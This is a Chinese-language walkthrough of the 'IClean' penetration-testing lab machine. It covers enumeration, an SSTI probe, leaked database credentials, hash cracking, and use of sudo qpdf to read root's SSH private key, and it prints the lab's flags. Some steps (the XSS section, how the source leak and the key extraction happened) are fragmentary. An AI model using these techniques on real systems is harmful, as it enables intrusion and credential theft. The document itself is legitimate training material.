[Meachines][Medium]IClean
字数 1279 2025-08-19 12:42:07
IClean靶机渗透测试教学文档
1. 初始信息收集
1.1 主机发现与端口扫描
nmap -p- -sC -sV 10.10.11.12 -Pn --min-rate 1000
-p-:扫描所有端口(1-65535)-sC:使用默认脚本扫描-sV:探测服务版本-Pn:跳过主机发现,直接扫描--min-rate 1000:设置最小发包速率为1000包/秒
1.2 添加主机名到hosts文件
echo "10.10.11.12 capiclean.htb" >> /etc/hosts
2. Web应用枚举
2.1 目录爆破
gobuster dir --url "http://capiclean.htb" --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
发现重要目录:
/quote:服务订购提交页面
2.2 初步分析
- 服务订购页面不是查询服务,SQL注入可能性较低
- 可能存在Python SSTI(服务器端模板注入)漏洞
3. XSS测试
- 如果没有cookie则新建一个
- 将path改为
/ - 访问dashboard页面
4. 漏洞利用
4.1 订单生成流程
- 使用
InvoiceGenerator生成订单 - 将生成的订单ID提交到
QRGenerator生成二维码 - 扫描二维码获取账单
4.2 SSTI漏洞确认
在qr_link参数中测试:
{{4*4}}
响应包中返回16,确认存在SSTI漏洞
4.3 源代码泄露
发现app.py文件泄露,包含数据库配置:
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}
5. 数据库访问
5.1 连接数据库
mysql -u iclean -p
使用密码pxCsmnGLckUb
5.2 查询用户数据
use capiclean;
select * from users;
获取到用户consuela的密码哈希:
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
5.3 破解哈希
echo "0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa" > hash
hashcat -m 1400 -a 0 hash /usr/share/wordlists/rockyou.txt
破解结果为:simple and clean
6. 用户权限提升
6.1 切换用户
su consuela
使用密码simple and clean
6.2 获取用户flag
cat /home/consuela/user.txt
用户flag:e4fb54144493b2df71de87281902e002
7. 提权至root
7.1 检查sudo权限
sudo -l
发现可以以root身份执行/usr/bin/qpdf
7.2 QPDF工具介绍
QPDF是一个用于处理PDF文件的命令行工具,功能包括:
- 合并、拆分PDF
- 解密、加密PDF
- 旋转页面
- 添加附件等
7.3 利用QPDF提取root私钥
sudo /usr/bin/qpdf --empty /tmp/key.pdf --qdf --add-attachment /root/.ssh/id_rsa --
--empty:创建空PDF--qdf:启用QDF模式(便于修改)--add-attachment:添加附件
7.4 查看提取的私钥
cat /tmp/key.pdf
7.5 使用私钥登录root
chmod 400 id_rsa
ssh -i id_rsa root@10.10.11.12
7.6 获取root flag
cat /root/root.txt
root flag:e9f42fab26856026679cbcd1bb76b7ed
8. 关键点总结
- SSTI漏洞:通过二维码生成功能发现并验证了Python SSTI漏洞
- 源代码泄露:获取到数据库配置信息
- 数据库凭证:从源代码中提取数据库凭据并访问数据库
- 密码破解:使用hashcat破解SHA256哈希
- 特权提升:利用QPDF的附件功能提取root私钥实现提权
9. 防御建议
- 修复SSTI漏洞,对用户输入进行严格过滤
- 避免在源代码中硬编码敏感信息
- 使用强密码策略,避免使用弱密码
- 限制sudo权限,避免过度授权
- 对敏感文件(如SSH私钥)设置严格的权限控制